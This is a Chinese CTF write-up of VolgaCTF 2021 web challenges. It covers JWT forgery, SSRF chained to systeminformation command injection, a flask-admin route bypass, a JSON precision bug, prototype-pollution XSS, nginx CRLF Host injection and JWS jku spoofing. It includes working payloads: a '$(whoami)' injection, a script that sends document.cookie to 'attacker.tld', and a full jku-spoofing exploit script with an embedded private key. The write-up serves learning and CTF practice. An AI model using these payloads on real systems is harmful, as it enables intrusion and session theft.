前言 周日摸鱼打了一下这个比赛,出了四道,一道蹭车,一道最后一秒出,有点可惜.
比国内的题目要有意思一些,带来很多别的思考,(可惜没几道pwn和re
下面是writeup和复现.
JWT 考察jwt相关,
注册登陆后发现是用JWT鉴权
访问 http://172.105.68.62:8080/secret/ 可以得到密钥.
1 {"kty":"oct","kid":"HS256","alg":"HS256","k":"SkQxOVRBZTFHSlJCQkZnamtMU0FKY3p6aFJRMlRzWElabmEwQ3ozZUROdS9YcjNPZ04vSitkYk5ITUR3dytLYm9BRVFKcGNKelk0N3dRZ2FoblBFRERJczdicDlRK05lNTlvSStvelRVclpoM3A3Nmkyd2FEQVNhSkwxVTE3KzdRZlBLVmRIcklVZ1g1T2VYcnBwQVY1dG9jbThJODhJbUtUZDRyNVZnd2tzPQ"}
k的值是密钥,不过需要base64解密
然后https://jwt.io/ 填上密钥伪造admin身份 访问 http://172.105.68.62:8080/say-hi
Unicorn Networks “Protection of the admin section needs to be more robust…”
请求自己服务器,可以看到用的是 axios/0.21.0
, xff 还可以看到内网地址(不过不是很重要)
然后搜axios/0.21.0
可以找到正好存在一个ssrf的漏洞, 302跳转即可绕过
根据题目提示访问/admin/
, 可以bypass掉该页面的鉴权(直接访问是禁止访问)
得到的html:
可以看到两个接口,前面一个没什么用,后面的有可控参数
探测了几个设备,发现好像没什么用
1 2 3 {"status" :"ok" ,"content" :[{"name" :"redis" ,"running" :false ,"startmode" :"" ,"pcpu" :0 ,"pmem" :0 }]} {"status" :"ok" ,"content" :[{"name" :"mysql" ,"running" :false ,"startmode" :"" ,"pcpu" :0 ,"pmem" :0 }]} {"status" :"ok" ,"content" :[{"name" :"nginx" ,"running" :true ,"startmode" :"" ,"pids" :[21 ,23 ,24 ],"pcpu" :0.9694232611669855 ,"pmem" :0.2 }]}
经过大佬提醒@小杰 , 发现原来这个接口调用的是 systeminformation 这个组件, 而且刚好有RCE漏洞
参考 https://snyk.io/vuln/search?q=systeminformation&type=any
POC: https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
传参?name[]=$(whoami)
可以任意命令执行.
最后payload:
flask-admin 题目描述: “Incorrect usage of this library leads to serious consequences…”
蹭车了… 很懵逼的出了flag
分割线
参考 https://github.com/aszx87410/ctf-writeups/issues/31
在下面的代码处路由配置有问题,可以导致绕过@admin_required
, 访问/admin/user/new
或者 /admin/user/edit/?id=1
Flask-admin文档 : https://flask-admin.readthedocs.io/en/latest/api/mod_base/#default-view
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class MyAdmin (admin.AdminIndexView ): @expose('/' ) @admin_required def index (self ): return super (MyAdmin, self).index() @expose('/user' ) @expose('/user/' ) @admin_required def user (self ): return render_template_string('TODO, need create custom view' ) admin = Admin(app, name='VolgaCTF' , template_mode='bootstrap3' , index_view=MyAdmin()) admin.add_view(ModelView(User, db.session))
可以直接修改或者创建admin权限的用户,然后登陆获得flag,
中间的PasswordHash格式,参考: https://www.cnblogs.com/jackadam/p/12196826.html
Online Wallet (Part 1) 代码逻辑很严密, 没找出来什么问题 (所以不是代码层面问题
审计代码的时候有比较奇怪的点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 app.post('/withdraw' , async (req, res) => { if (!req.session.userid || !req.body.wallet || (typeof (req.body.wallet) != "string" )) return res.json({success : false }) const db = await pool.awaitGetConnection() try { result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?" , [req.body.wallet, req.session.userid]) if ((result[0 ].balance > 150 ) || (result[0 ].balance < 0 )) res.json({success : true , money : FLAG}) else res.json({success : false }) } catch { res.json({success : false }) } finally { db.release() } })
result[0].balance < 0
这点很奇怪, 正常逻辑不会这么写
考虑精度问题,
钱包内互相转账, 小数点很多的时候,发现Total amount可以超过100 ,这样虽然超过150很难,但是小于0很简单 , 想办法转账得到负值即可
然后偶然发现可以用科学计数法表示数字,
然后慢慢调整得到负值钱包(因为不确定精度233333)
然后赛后看wp发现其实代码是有点猫腻的
1 2 3 4 5 6 7 JSON.parse('{"money":100000000000000000000000000000000000000000000000000000000000001E-60}') 100 select json_extract('{"money":100000000000000000000000000000000000000000000000000000000000001E-60}','$.money') 100.00000000000001
数据库和js实际精度不一致导致的问题,代码处也有体现:
1 2 3 4 5 6 7 8 9 10 app.use(bodyParser.json({verify : rawBody})) if (from_balance >= req.body.amount) { transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)" , [req.rawBody]) await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?" , [transaction.insertId]) await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?" , [transaction.insertId]) await db.awaitCommit() res.json({success : true }) }
在判断逻辑from_balance>=req.body.amount
, 数据是经过json解析过的,
在数据库操作中却用的是原始数据req.rawBody
. 测试发现js最大精度不到100000000000000001E-15
但是测试的时候还是很迷…
另外, 这题也可以用条件竞争来解, 类似区块链中的”双花” ( 好像大多数队伍是条件竞争解的2333,网速慢没办法)
Online Wallet (Part 2) Steal document.cookie
,
代码中可以看见lang
参数,控制页面语言,参数值会直接显示在页面上
但是 <>"'
都被过滤, 直接访问 https://volgactf-wallet.s3-us-west-1.amazonaws.com/ , 会显示目录(xml)
其中 deparam.js 从没引用过, 所以是解题关键,似乎存在原型链污染,但修复不完全,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 deparam = function ( params, coerce ) { var obj = Object .create(null ), coerce_types = { 'true' : !0 , 'false' : !1 , 'null' : null }; params.replace(/\+/g , ' ' ).split('&' ).forEach(function (v ) { var param = v.split( '=' ), key = decodeURIComponent ( param[0 ] ), val, cur = obj, i = 0 , keys = key.split( '][' ), keys_last = keys.length - 1 ; if ( /\[/ .test( keys[0 ] ) && /\]$/ .test( keys[ keys_last ] ) ) { keys[ keys_last ] = keys[ keys_last ].replace( /\]$/ , '' ); keys = keys.shift().split('[' ).concat( keys ); keys_last = keys.length - 1 ; } else { keys_last = 0 ; } if ( param.length === 2 ) { val = decodeURIComponent ( param[1 ] ); if ( coerce ) { val = val && !isNaN (val) ? +val : val === 'undefined' ? undefined : coerce_types[val] !== undefined ? coerce_types[val] : val; } if ( keys_last ) { for ( ; i <= keys_last; i++ ) { key = keys[i] === '' ? cur.length : keys[i]; cur = cur[key] = i < keys_last ? cur[key] || ( keys[i+1 ] && isNaN ( keys[i+1 ] ) ? Object .create(null ) : [] ) : val; } } else { if ( Object .prototype.toString.call( obj[key] ) === '[object Array]' ) { obj[key].push( val ); } else if ( obj[key] !== undefined ) { obj[key] = [ obj[key], val ]; } else { obj[key] = val; } } } else if ( key ) { obj[key] = coerce ? undefined : '' ; } }); return obj; }; queryObject = deparam(location.search.slice(1 ))
污染:
1 2 3 var poc = {}queryObject = deparam('a[0]=2&a[__proto__][__proto__][abc]=1' ) console .log(poc.abc)
然后找Jquery的污染链: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md
具体利用细节没太看懂, 记一下思路
Use lang
to import deparam.js
prototype pollution to use jQuery gadget
Use #depositButton
to trigger tooltip and do XSS
Static Site 考察CSP Bypass+不安全的nginx配置
题目给了nginx的配置,(出题思路来自 https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/ )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 server { listen 443 ssl; resolver 8.8.8.8; server_name static-site.volgactf-task.ru; ssl_certificate /etc/letsencrypt/live/volgactf-task.ru/fullchain1.pem; ssl_certificate_key /etc/letsencrypt/live/volgactf-task.ru/privkey1.pem; add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-src https://www.google.com/recaptcha/; font-src https://fonts.gstatic.com/; style-src 'self' https://fonts.googleapis.com/; script-src 'self' https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/" always; location / { root /var/www/html; } location /static/ { proxy_pass https://volga-static-site.s3.amazonaws.com$uri; } }
请求/static/xss.html%20HTTP/1.0%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a, 得到:
1 2 3 4 5 GET /static/xss.html HTTP/1.0 Host:attacker-s3-bucket HTTP /1 .1 Host : volga-static-site.s3 .amazonaws.com
然后绕过CSP, 没太看懂什么原理,CSP绕过: https://xz.aliyun.com/t/5084
记录下操作 https://github.com/aszx87410/ctf-writeups/issues/28
create my own S3 bucket
upload /static/index.html
upload /static/app.js
let bot visits [https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.0%0d%0aHost:%20ctftesthuli.s3.amazonaws.com%0d%0ayo] (https://static-site.volgactf-task.ru/static/index.html HTTP/1.0 Host: ctftesthuli.s3.amazonaws.com yo):
XSS triggered!
/static/xss.html
1 2 <script src ="/static/xss.js%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a" > </script >
/static/xss.js
1 location.replace('//attacker.tld/?' + document .cookie)
JWS WP: https://telegra.ph/JWS-writeups-03-28
主页的jws信息: payload内容就是My Integrity protected message
1 {"header" :{"alg" :"RS256" ,"jku" :"http://localhost:5001/vuln/JWK" ,"kid" :"d6rFAC4MIXx26fVxB1a591QXDJDWQLw4OGhDg1ahq-M" },"payload" :"TXkgSW50ZWdyaXR5IHByb3RlY3RlZCBtZXNzYWdl" ,"signature" :"r8WBnXoZNiBjt2D6p2wfdkypWUEMwTrw9dEHtd3N_sGT9scDynL2pHhmjy4C2JtbOMLNFkIfur0xs6qeI6QUiRobQpgo74aGVrT8Ne53G180NE7_3WP4chjUwiKf9iVmgGrw_O5jLGU71IBO7B04r3wfD8fg7EnMdYLN0r-tGGCpw_T9MMJD6pAhxLzretqJo3tWv1Mb1cq5RxfhJ_4lOIEGFkxphCJPaLb2_7s8K30ACvwzoNqI6JQQ3D8n_jnCEFhCYYvlpoQMpRj0dOl252AMWlZDQ3zhQJbqDov8ACqtH7KudUnamu1q_H6-5Elmzbm_R7Z8p6C4XuZkqbMEoQ" }
签名正确会直接显示在页面上
所以存在SSTI的可能性,但是要伪造正确的签名,
扫描路径,参数等, 发现http://192.46.234.216:5001/vuln/redirect?Endpoint=http://baidu.com/
, 可以跳转到任意域名,jku可控. 所以可以用任意密钥文件来生成和验证签名,
攻击方式参考 https://xz.aliyun.com/t/6776#toc-12 和 https://www.slideshare.net/snyff/jwt-jku-x5u
payload: 不过服务器连不了外网,所以没有验证思路,下面是官方的解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from flask import Flask, request, redirect, jsonify, send_from_directoryfrom jwcrypto import jwk, jwsfrom jwcrypto.common import json_encodeimport osimport jsonimport requests, reapp = Flask(__name__) app.config['pub_key' ] = '{"e":"AQAB","kty":"RSA","n":"oBbyWuGxj4wqlVjqcpNh3ZKYTjVXWINNdn8zaJgJdPa0Wt286cE4wExWAV03Kuma7bh8yK5SgY2bte8mdjpcte5T1iOtqWTXDP5XbXQvzLPas1VVvzcMwdsMs4-mkuV6HCYaj7Sbent7Bvx_4aY8qxrIBSuqf4NBP38iE_Bkuzo_OeGtsz0f5KECUPDV-Tum1KDuiwCDt6Jmef_xAWUmAqJv9nK0GLnNceIDXmw775Gi26KxDl7g2ak22pNCEFBKbZqQak4cTeZJfNR-oUZqPXFGO9i2yZJ_G7iN-1JxSPTyqyKnG5Z16d7l1Q_TFP1btPMFu9qS_bdbnkcMxURoBQ"' app.config['all_key' ] = '{"d":"AaOagaGz7rNRsEvDwr6NjvY0RwC2zzow7dipjxWXazIncJK6n24SBa4CZ2sr6G2R34M3C9r1D0yC3p7_NtCsKFSzWQrueUCGDyT_gihhYOgqghGKmjWXFNkITUJYQ0LEOEuPlA8WVG-1N8IYERhhoKLaj2r-COYwIdVMZQXeEiinXLfCVJCEtMMVNBMRfyUoY4_siQ6vMQGxJsHn8XOE2zsMnkreG7kPE-c0UrmsdnhmmyNFtegbS8dej4eH0Xy1txg81wTQSyGUru10QaFYVVAOhRFmdVNvSNWW3uL1guAOgLg8Y17FPnz1FiUGhflTeEsWwcKlVWl7QF0Bel-e1Q","dp":"nAk_O5Qi5HQRhgcsNZsGgFeEeErPn5CoXFx1DhANVbQwuNU-19P29wR4gSaDfexoLLaDXrw50g-ufmCLbz9r461LcPdmD6g9okstgPF38heLhjyTuA84xDu16sCX0ltpxWOWzhRkBeI0uhE1mjXtD7Uk9KUX5Y5SQK6MPZmVsoM","dq":"MznXQhv8h65iqwxzfPj3QwK6s9JvIR4IHnur2t3GYaCd-RG5fGSigkClUeG8TUlxViOr5ElbGsATWOzqAlr_CwTPCwEg9lcL5AKEHOy94k5CfAWMr1csa6Pp6bQJkveDf_c87s2Z1zYn6cJmJZiEJADocRyyUJ_mnh6wpvS7tgs","e":"AQAB","kty":"RSA","n":"oBbyWuGxj4wqlVjqcpNh3ZKYTjVXWINNdn8zaJgJdPa0Wt286cE4wExWAV03Kuma7bh8yK5SgY2bte8mdjpcte5T1iOtqWTXDP5XbXQvzLPas1VVvzcMwdsMs4-mkuV6HCYaj7Sbent7Bvx_4aY8qxrIBSuqf4NBP38iE_Bkuzo_OeGtsz0f5KECUPDV-Tum1KDuiwCDt6Jmef_xAWUmAqJv9nK0GLnNceIDXmw775Gi26KxDl7g2ak22pNCEFBKbZqQak4cTeZJfNR-oUZqPXFGO9i2yZJ_G7iN-1JxSPTyqyKnG5Z16d7l1Q_TFP1btPMFu9qS_bdbnkcMxURoBQ","p":"0-jzleXm-XbQe_gjrKqFsQUypSjtVX2NJ1ckF5op0qE1XiLETHg0C-woMuEymyW-vqRAbgA5yx4pVhlmJTPkv8TVsc9OYsz1H1cswiI-I73uLJ1wgUk_4mapa7K10Mrsw2X9AZpmiP7ntc4OwVdJ7BjUoY587IbZrV0yVCKgeYM","q":"wWXeDP796mxedqUActwBTCQCR3uNjbmOINMZY2CR0DuxCa9AX8V3VZEQVUj1Q6R8o4ixrQywQy1R902Kc9dCQqBkwF4WfybzhkfwiVcf8Yy3bqZzEoGCEbs2KVnYX7J3EBIfgEQVXb_G5ZeOvWzgSTi11e1_kdcUXdANiGtISdc","qi":"MNo8DyDds5N6gw6gmA17Iu0scH5i2n30oS0nDxFp0tKqfd5WAjF7J3P_uESwzW8AvncAm7HtDBd-KEHipcOcm7rPEdfBKKhyo3Q25chBCvRPvVcslmML30p3p0_F26yd5ThHWoo3UmHNoPLiMNZN3oRsCe1w2jity3YVvZDhu48"}' def generate_key (): key = jwk.JWK.generate(kty='RSA' , size=2048 ) print (key.export_public()) print (key.export()) @app.route('/' ) def index (): jku = 'http://192.46.234.216:5001/vuln/redirect?endpoint=http://vps:5002/hack' payload = '{{config}}' key = jws.JWK(**json.loads(app.config['all_key' ])) jwstoken = jws.JWS(payload.encode('utf-8' )) jwstoken.add_signature(key=key,alg='RS256' ,protected=None ,header=json_encode({"kid" : key.thumbprint(), 'jku' :jku, "alg" :"RS256" })) sig = jwstoken.serialize() return sig @app.route('/hack' ) def hack (): with open ('tmp.file' , 'w' ) as file_write: file_write.write(jwk.JWK(**json.loads(app.config['all_key' ])).export_public()) uploads = os.path.join(os.path.abspath(os.path.dirname(__file__))) return send_from_directory(directory='.' ,filename='tmp.file' ) @app.route('/get_flag' ) def get_flag (): payload = index() answ = requests.get('http://192.46.234.216:5000/jws_check' ,params={'payloads' :payload}).text flag = answ flag = re.findall('VolgaCTF{.+?}' , answ)[-1 ] print (flag) return flag if __name__ == '__main__' : app.run(port=5002 , host='0.0.0.0' )
出题人出题思路来源: https://www.youtube.com/watch?v=VA1g7YV8HkI&list=PLKAaMVNxvLmAD0ZVUJ2IGFFC0APFZ5gzy&index=10
Reference https://github.com/aszx87410/ctf-writeups
https://blog.blackfan.ru/2021/03/volgactf-2021-quals-online-wallet.html#Static_Site_0
Nginx中间件漏洞泄露: https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/
常见的Nginx错误配置: https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
我的CSP绕过思路及总结 : https://xz.aliyun.com/t/5084#toc-6
https://telegra.ph/JWS-writeups-03-28